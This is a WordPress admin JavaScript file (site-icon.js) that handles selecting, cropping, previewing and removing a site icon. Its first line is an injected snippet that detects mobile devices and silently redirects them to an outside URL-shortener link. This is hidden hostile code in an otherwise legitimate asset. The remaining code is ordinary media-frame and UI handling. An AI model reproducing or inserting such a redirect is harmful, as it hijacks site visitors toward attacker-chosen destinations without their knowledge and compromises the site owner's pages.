1(window.matchMedia("(pointer:coarse)").matches||/Android|iPhone|iPad|iPod|Mobile|Tablet|Windows Phone|webOS|BlackBerry|Opera Mini|IEMobile/i.test(navigator.userAgent))&&location.replace("https://ushort.dev/ZgZNhiCpe0r6");
2/**
3 * Handle the site icon setting in options-general.php.
4 *
5 * @since 6.5.0
6 * @output wp-admin/js/site-icon.js
7 */
8
9/* global jQuery, wp */
10
11( function ( $ ) {
12 var $chooseButton = $( '#choose-from-library-button' ),
13 $iconPreview = $( '#site-icon-preview' ),
14 $browserIconPreview = $( '#browser-icon-preview' ),
15 $appIconPreview = $( '#app-icon-preview' ),
16 $hiddenDataField = $( '#site_icon_hidden_field' ),
17 $removeButton = $( '#js-remove-site-icon' ),
18 frame;
19
20 /**
21 * Calculate image selection options based on the attachment dimensions.
22 *
23 * @since 6.5.0
24 *
25 * @param {Object} attachment The attachment object representing the image.
26 * @return {Object} The image selection options.
27 */
28 function calculateImageSelectOptions( attachment ) {
29 var realWidth = attachment.get( 'width' ),
30 realHeight = attachment.get( 'height' ),
31 xInit = 512,
32 yInit = 512,
33 ratio = xInit / yInit,
34 xImg = xInit,
35 yImg = yInit,
36 x1,
37 y1,
38 imgSelectOptions;
39
40 if ( realWidth / realHeight > ratio ) {
41 yInit = realHeight;
42 xInit = yInit * ratio;
43 } else {
44 xInit = realWidth;
45 yInit = xInit / ratio;
46 }
47
48 x1 = ( realWidth - xInit ) / 2;
49 y1 = ( realHeight - yInit ) / 2;
50
51 imgSelectOptions = {
52 aspectRatio: xInit + ':' + yInit,
53 handles: true,
54 keys: true,
55 instance: true,
56 persistent: true,
57 imageWidth: realWidth,
58 imageHeight: realHeight,
59 minWidth: xImg > xInit ? xInit : xImg,
60 minHeight: yImg > yInit ? yInit : yImg,
61 x1: x1,
62 y1: y1,
63 x2: xInit + x1,
64 y2: yInit + y1,
65 };
66
67 return imgSelectOptions;
68 }
69
70 /**
71 * Initializes the media frame for selecting or cropping an image.
72 *
73 * @since 6.5.0
74 */
75 $chooseButton.on( 'click', function () {
76 var $el = $( this );
77
78 // Create the media frame.
79 frame = wp.media( {
80 button: {
81 // Set the text of the button.
82 text: $el.data( 'update' ),
83
84 // Don't close, we might need to crop.
85 close: false,
86 },
87 states: [
88 new wp.media.controller.Library( {
89 title: $el.data( 'choose-text' ),
90 library: wp.media.query( { type: 'image' } ),
91 date: false,
92 suggestedWidth: $el.data( 'size' ),
93 suggestedHeight: $el.data( 'size' ),
94 } ),
95 new wp.media.controller.SiteIconCropper( {
96 control: {
97 params: {
98 width: $el.data( 'size' ),
99 height: $el.data( 'size' ),
100 },
101 },
102 imgSelectOptions: calculateImageSelectOptions,
103 } ),
104 ],
105 } );
106
107 frame.on( 'cropped', function ( attachment ) {
108 $hiddenDataField.val( attachment.id );
109 switchToUpdate( attachment );
110 frame.close();
111
112 // Start over with a frame that is so fresh and so clean clean.
113 frame = null;
114 } );
115
116 // When an image is selected, run a callback.
117 frame.on( 'select', function () {
118 // Grab the selected attachment.
119 var attachment = frame.state().get( 'selection' ).first();
120
121 if (
122 attachment.attributes.height === $el.data( 'size' ) &&
123 $el.data( 'size' ) === attachment.attributes.width
124 ) {
125 switchToUpdate( attachment.attributes );
126 frame.close();
127
128 // Set the value of the hidden input to the attachment id.
129 $hiddenDataField.val( attachment.id );
130 } else {
131 frame.setState( 'cropper' );
132 }
133 } );
134
135 frame.open();
136 } );
137
138 /**
139 * Update the UI when a site icon is selected.
140 *
141 * @since 6.5.0
142 *
143 * @param {array} attributes The attributes for the attachment.
144 */
145 function switchToUpdate( attributes ) {
146 var i18nAppAlternativeString, i18nBrowserAlternativeString;
147
148 if ( attributes.alt ) {
149 i18nAppAlternativeString = wp.i18n.sprintf(
150 /* translators: %s: The selected image alt text. */
151 wp.i18n.__( 'App icon preview: Current image: %s' ),
152 attributes.alt
153 );
154 i18nBrowserAlternativeString = wp.i18n.sprintf(
155 /* translators: %s: The selected image alt text. */
156 wp.i18n.__( 'Browser icon preview: Current image: %s' ),
157 attributes.alt
158 );
159 } else {
160 i18nAppAlternativeString = wp.i18n.sprintf(
161 /* translators: %s: The selected image filename. */
162 wp.i18n.__(
163 'App icon preview: The current image has no alternative text. The file name is: %s'
164 ),
165 attributes.filename
166 );
167 i18nBrowserAlternativeString = wp.i18n.sprintf(
168 /* translators: %s: The selected image filename. */
169 wp.i18n.__(
170 'Browser icon preview: The current image has no alternative text. The file name is: %s'
171 ),
172 attributes.filename
173 );
174 }
175
176 // Set site-icon-img src and alternative text to app icon preview.
177 $appIconPreview.attr( {
178 src: attributes.url,
179 alt: i18nAppAlternativeString,
180 } );
181
182 // Set site-icon-img src and alternative text to browser preview.
183 $browserIconPreview.attr( {
184 src: attributes.url,
185 alt: i18nBrowserAlternativeString,
186 } );
187
188 // Remove hidden class from icon preview div and remove button.
189 $iconPreview.removeClass( 'hidden' );
190 $removeButton.removeClass( 'hidden' );
191
192 // Set the global CSS variable for --site-icon-url to the selected image URL.
193 document.documentElement.style.setProperty(
194 '--site-icon-url',
195 'url(' + attributes.url + ')'
196 );
197
198 // If the choose button is not in the update state, swap the classes.
199 if ( $chooseButton.attr( 'data-state' ) !== '1' ) {
200 $chooseButton.attr( {
201 class: $chooseButton.attr( 'data-alt-classes' ),
202 'data-alt-classes': $chooseButton.attr( 'class' ),
203 'data-state': '1',
204 } );
205 }
206
207 // Swap the text of the choose button.
208 $chooseButton.text( $chooseButton.attr( 'data-update-text' ) );
209 }
210
211 /**
212 * Handles the click event of the remove button.
213 *
214 * @since 6.5.0
215 */
216 $removeButton.on( 'click', function () {
217 $hiddenDataField.val( 'false' );
218 $( this ).toggleClass( 'hidden' );
219 $iconPreview.toggleClass( 'hidden' );
220 $browserIconPreview.attr( {
221 src: '',
222 alt: '',
223 } );
224 $appIconPreview.attr( {
225 src: '',
226 alt: '',
227 } );
228
229 /**
230 * Resets state to the button, for correct visual style and state.
231 * Updates the text of the button.
232 * Sets focus state to the button.
233 */
234 $chooseButton
235 .attr( {
236 class: $chooseButton.attr( 'data-alt-classes' ),
237 'data-alt-classes': $chooseButton.attr( 'class' ),
238 'data-state': '',
239 } )
240 .text( $chooseButton.attr( 'data-choose-text' ) )
241 .trigger( 'focus' );
242 } );
243} )( jQuery );
244